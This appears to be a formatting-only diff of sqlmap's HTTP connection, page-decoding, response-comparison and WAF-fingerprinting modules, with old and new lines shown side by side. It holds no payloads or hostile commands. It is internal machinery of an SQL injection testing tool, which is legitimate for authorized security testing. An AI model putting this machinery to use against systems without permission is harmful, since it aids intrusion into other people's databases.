@ -298,10 +314,12 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
try: try:
if contentEncoding == "deflate": if contentEncoding == "deflate":
data = io.BytesIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations data = io.BytesIO(zlib.decompress(page,
-15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
else: else:
data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) data = gzip.GzipFile("", "rb", 9, io.BytesIO(page))
size = struct.unpack("<l", page[-4:])[0] # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py size = struct.unpack("<l", page[-4:])[
0] # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py
if size > MAX_CONNECTION_TOTAL_SIZE: if size > MAX_CONNECTION_TOTAL_SIZE:
raise Exception("size too large") raise Exception("size too large")
@ -327,7 +345,10 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page)) metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and (not all((httpCharset, metaCharset)) or isinstance(page, six.binary_type) and all(_ in PRINTABLE_BYTES for _ in page))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))): if (any((httpCharset, metaCharset)) and (
not all((httpCharset, metaCharset)) or isinstance(page, six.binary_type) and all(
_ in PRINTABLE_BYTES for _ in page))) or (
httpCharset == metaCharset and all((httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
debugMsg = "declared web page charset '%s'" % kb.pageEncoding debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg) singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
@ -341,23 +362,28 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
if not kb.disableHtmlDecoding: if not kb.disableHtmlDecoding:
# e.g. &#x9;&#195;&#235;&#224;&#226;&#224; # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
if b"&#" in page: if b"&#" in page:
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page) page = re.sub(b"&#x([0-9a-f]{1,2});",
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page)
page = re.sub(b"&#(\\d{1,3});",
lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
# e.g. %20%28%29 # e.g. %20%28%29
if percentDecode: if percentDecode:
if b"%" in page: if b"%" in page:
page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page) page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)),
page) # Note: %DeepSee_SQL in CACHE
# e.g. &amp; # e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page) page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(
getText(_.group(1)), 256) < 256 else _.group(0), page)
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if (kb.pageEncoding or "").lower() == "utf-8-sig": if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8" kb.pageEncoding = "utf-8"
if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) if page and page.startswith(
b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:] page = page[3:]
page = getUnicode(page, kb.pageEncoding) page = getUnicode(page, kb.pageEncoding)
@ -371,15 +397,19 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
except (ValueError, OverflowError): except (ValueError, OverflowError):
pass pass
return retVal return retVal
page = re.sub(r"&#(\d+);", _, page) page = re.sub(r"&#(\d+);", _, page)
# e.g. &zeta; # e.g. &zeta;
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1),
0) > 255 else _.group(
0), page)
else: else:
page = getUnicode(page, kb.pageEncoding) page = getUnicode(page, kb.pageEncoding)
return page return page
def processResponse(page, responseHeaders, code=None, status=None): def processResponse(page, responseHeaders, code=None, status=None):
kb.processResponseCounter += 1 kb.processResponseCounter += 1
@ -399,7 +429,9 @@ def processResponse(page, responseHeaders, code=None, status=None):
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "",
"".join(getUnicode(responseHeaders.headers if responseHeaders else [])),
page[:HEURISTIC_PAGE_SIZE_THRESHOLD])
with kb.locks.identYwaf: with kb.locks.identYwaf:
identYwaf.non_blind.clear() identYwaf.non_blind.clear()
@ -425,7 +457,9 @@ def processResponse(page, responseHeaders, code=None, status=None):
continue continue
conf.paramDict[PLACE.POST][name] = value conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name),
r"\g<1>%s" % value.replace('\\', r'\\'),
conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
kb.browserVerification = True kb.browserVerification = True

View File

@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
""" """
Reference: http://selenic.com/hg/rev/6c51a5056020 Reference: http://selenic.com/hg/rev/6c51a5056020

View File

@ -9,6 +9,7 @@ from lib.core.data import conf
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class ChunkedHandler(_urllib.request.HTTPHandler): class ChunkedHandler(_urllib.request.HTTPHandler):
""" """
Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding

View File

@ -34,10 +34,12 @@ from lib.core.settings import URI_HTTP_HEADER
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from thirdparty import six from thirdparty import six
def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
_ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue)
return _ return _
def _adjust(condition, getRatioValue): def _adjust(condition, getRatioValue):
if not any((conf.string, conf.notString, conf.regexp, conf.code)): if not any((conf.string, conf.notString, conf.regexp, conf.code)):
# Negative logic approach is used in raw page comparison scheme as that what is "different" than original # Negative logic approach is used in raw page comparison scheme as that what is "different" than original
@ -50,11 +52,13 @@ def _adjust(condition, getRatioValue):
return retVal return retVal
def _comparison(page, headers, code, getRatioValue, pageLength): def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
if kb.testMode: if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonHeaders = listToStrValue(
_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else ""
threadData.lastComparisonPage = page threadData.lastComparisonPage = page
threadData.lastComparisonCode = code threadData.lastComparisonCode = code
@ -62,7 +66,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
return None return None
if any((conf.string, conf.notString, conf.regexp)): if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) rawResponse = "%s%s" % (
listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "",
page)
# String to match in page when the query is True # String to match in page when the query is True
if conf.string: if conf.string:
@ -126,7 +132,8 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
return None return None
elif seqMatcher.a and page and seqMatcher.a == page: elif seqMatcher.a and page and seqMatcher.a == page:
ratio = 1. ratio = 1.
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): elif kb.skipSeqMatcher or seqMatcher.a and page and any(
len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
if not page or not seqMatcher.a: if not page or not seqMatcher.a:
return float(seqMatcher.a == page) return float(seqMatcher.a == page)
else: else:

View File

@ -143,6 +143,7 @@ from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
from thirdparty.socks.socks import ProxyError from thirdparty.socks.socks import ProxyError
class Connect(object): class Connect(object):
""" """
This class defines methods used to perform HTTP requests This class defines methods used to perform HTTP requests
@ -151,7 +152,8 @@ class Connect(object):
@staticmethod @staticmethod
def _getPageProxy(**kwargs): def _getPageProxy(**kwargs):
try: try:
if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525 if (
len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525
warnMsg = "unable to connect to the target URL" warnMsg = "unable to connect to the target URL"
raise SqlmapConnectionException(warnMsg) raise SqlmapConnectionException(warnMsg)
except (TypeError, UnicodeError): except (TypeError, UnicodeError):
@ -227,7 +229,9 @@ class Connect(object):
if not kb.dnsMode and conn: if not kb.dnsMode and conn:
headers = conn.info() headers = conn.info()
if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): if kb.pageCompress and headers and hasattr(headers, "getheader") and (
headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in (
"gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "large compressed response detected. Disabling compression" warnMsg = "large compressed response detected. Disabling compression"
@ -247,7 +251,9 @@ class Connect(object):
if len(part) == MAX_CONNECTION_READ_SIZE: if len(part) == MAX_CONNECTION_READ_SIZE:
warnMsg = "large response detected. This could take a while" warnMsg = "large response detected. This could take a while"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)),
getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)),
part)
retVal += part retVal += part
else: else:
retVal += part retVal += part
@ -320,7 +326,8 @@ class Connect(object):
if conf.murphyRate: if conf.murphyRate:
time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(
256)]), None, None if not conf.murphyRate else randomInt(3)
threadData.lastPage = page threadData.lastPage = page
threadData.lastCode = code threadData.lastCode = code
@ -330,7 +337,8 @@ class Connect(object):
if conf.liveCookies: if conf.liveCookies:
with kb.locks.liveCookies: with kb.locks.liveCookies:
if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT) warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (
time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
dataToStdout(warnMsg) dataToStdout(warnMsg)
valid = False valid = False
@ -386,8 +394,10 @@ class Connect(object):
status = None status = None
_ = _urllib.parse.urlsplit(url) _ = _urllib.parse.urlsplit(url)
requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg = u"HTTP request [#%d]:\r\n%s " % (
requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any(
(refreshing, crawling, checking)) else url)
responseMsg = u"HTTP response " responseMsg = u"HTTP response "
requestHeaders = u"" requestHeaders = u""
responseHeaders = None responseHeaders = None
@ -441,7 +451,9 @@ class Connect(object):
requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
# Prepare HTTP headers # Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {}) headers = forgeHeaders(
{HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer,
HTTP_HEADER.HOST: host}, base=None if target else {})
if HTTP_HEADER.COOKIE in headers: if HTTP_HEADER.COOKIE in headers:
cookie = headers[HTTP_HEADER.COOKIE] cookie = headers[HTTP_HEADER.COOKIE]
@ -460,7 +472,8 @@ class Connect(object):
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" headers[
HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT: elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
for header in headers: for header in headers:
@ -469,7 +482,9 @@ class Connect(object):
break break
if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE) headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint,
DEFAULT_CONTENT_TYPE if unArrayizeValue(
conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)
if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE
@ -478,7 +493,8 @@ class Connect(object):
boundary = findMultipartPostBoundary(conf.data) boundary = findMultipartPostBoundary(conf.data)
if boundary: if boundary:
headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary) headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (
headers[HTTP_HEADER.CONTENT_TYPE], boundary)
if conf.keepAlive: if conf.keepAlive:
headers[HTTP_HEADER.CONNECTION] = "keep-alive" headers[HTTP_HEADER.CONNECTION] = "keep-alive"
@ -502,21 +518,25 @@ class Connect(object):
for key, value in list(headers.items()): for key, value in list(headers.items()):
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity" value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "",
value) or "identity"
del headers[key] del headers[key]
if isinstance(value, six.string_types): if isinstance(value, six.string_types):
for char in (r"\r", r"\n"): for char in (r"\r", r"\n"):
value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value)
headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip("\r\n")) # Note: Python3 has_header() expects non-bytes value headers[getBytes(key) if six.PY2 else key] = getBytes(
value.strip("\r\n")) # Note: Python3 has_header() expects non-bytes value
if six.PY2: if six.PY2:
url = getBytes(url) # Note: Python3 requires text while Python2 has problems when mixing text with binary POST url = getBytes(
url) # Note: Python3 requires text while Python2 has problems when mixing text with binary POST
if webSocket: if webSocket:
ws = websocket.WebSocket() ws = websocket.WebSocket()
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)),
cookie=cookie) # WebSocket will add Host field of headers automatically
ws.send(urldecode(post or "")) ws.send(urldecode(post or ""))
_page = [] _page = []
@ -544,7 +564,9 @@ class Connect(object):
responseHeaders = _(ws.getheaders()) responseHeaders = _(ws.getheaders())
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) requestHeaders += "\r\n".join(
["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value))
for (key, value) in responseHeaders.items()])
requestMsg += "\r\n%s" % requestHeaders requestMsg += "\r\n%s" % requestHeaders
if post is not None: if post is not None:
@ -583,20 +605,24 @@ class Connect(object):
else: else:
post, headers = req.data, req.headers post, headers = req.data, req.headers
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()]) requestHeaders += "\r\n".join(
["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value))
for (key, value) in req.header_items()])
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time()) conf.cj._policy._now = conf.cj._now = int(time.time())
with conf.cj._cookies_lock: with conf.cj._cookies_lock:
cookies = conf.cj._cookies_for_request(req) cookies = conf.cj._cookies_for_request(req)
requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join(
"%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))
if post is not None: if post is not None:
if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))
if not getRequestHeader(req, HTTP_HEADER.CONNECTION): if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") requestHeaders += "\r\n%s: %s" % (
HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")
requestMsg += "\r\n%s" % requestHeaders requestMsg += "\r\n%s" % requestHeaders
@ -621,7 +647,8 @@ class Connect(object):
conn = _urllib.request.urlopen(req) conn = _urllib.request.urlopen(req)
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (
conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
@ -633,14 +660,17 @@ class Connect(object):
# Get HTTP response # Get HTTP response
if hasattr(conn, "redurl"): if hasattr(conn, "redurl"):
page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None page = (threadData.lastRedirectMsg[
1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(
conn)) if not skipRead else None
skipLogTraffic = kb.choices.redirect == REDIRECTION.NO skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
code = conn.redcode if not finalCode else code code = conn.redcode if not finalCode else code
else: else:
page = Connect._connReadProxy(conn) if not skipRead else None page = Connect._connReadProxy(conn) if not skipRead else None
if conn: if conn:
code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) code = (
code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes)
responseHeaders = conn.info() responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url
@ -653,7 +683,8 @@ class Connect(object):
code = None code = None
responseHeaders = {} responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0 kb.connErrorCounter = 0
@ -730,7 +761,8 @@ class Connect(object):
responseHeaders = ex.info() responseHeaders = ex.info()
responseHeaders[URI_HTTP_HEADER] = ex.geturl() responseHeaders[URI_HTTP_HEADER] = ex.geturl()
responseHeaders = patchHeaders(responseHeaders) responseHeaders = patchHeaders(responseHeaders)
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
except socket.timeout: except socket.timeout:
warnMsg = "connection timed out while trying " warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % ex.code warnMsg += "to get error page information (%d)" % ex.code
@ -755,7 +787,9 @@ class Connect(object):
if responseHeaders: if responseHeaders:
logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHeaders = "".join(getUnicode(responseHeaders.headers)).strip()
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) logHTTPTraffic(requestMsg,
"%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start,
time.time())
skipLogTraffic = True skipLogTraffic = True
@ -800,7 +834,8 @@ class Connect(object):
if ignoreTimeout: if ignoreTimeout:
return None if not conf.ignoreTimeouts else "", None, None return None if not conf.ignoreTimeouts else "", None, None
else: else:
warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, _http_client.responses[ex.code]) warnMsg = "unable to connect to the target URL (%d - %s)" % (
ex.code, _http_client.responses[ex.code])
if threadData.retriesCount < conf.retries and not kb.threadException: if threadData.retriesCount < conf.retries and not kb.threadException:
warnMsg += ". sqlmap is going to retry the request" warnMsg += ". sqlmap is going to retry the request"
logger.critical(warnMsg) logger.critical(warnMsg)
@ -814,7 +849,10 @@ class Connect(object):
debugMsg = "got HTTP error code: %d ('%s')" % (code, status) debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
logger.debug(debugMsg) logger.debug(debugMsg)
except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError): except (
_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error,
ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError,
AttributeError, OSError):
tbMsg = traceback.format_exc() tbMsg = traceback.format_exc()
if conf.debug: if conf.debug:
@ -834,7 +872,8 @@ class Connect(object):
warnMsg = "connection was forcibly closed by the target URL" warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg: elif "timed out" in tbMsg:
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests") singleTimeWarnMessage(
"there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
kb.droppingRequests = True kb.droppingRequests = True
warnMsg = "connection timed out to the target URL" warnMsg = "connection timed out to the target URL"
elif "Connection reset" in tbMsg: elif "Connection reset" in tbMsg:
@ -843,7 +882,8 @@ class Connect(object):
conf.disablePrecon = True conf.disablePrecon = True
if kb.testMode: if kb.testMode:
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests") singleTimeWarnMessage(
"there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
kb.droppingRequests = True kb.droppingRequests = True
warnMsg = "connection reset to the target URL" warnMsg = "connection reset to the target URL"
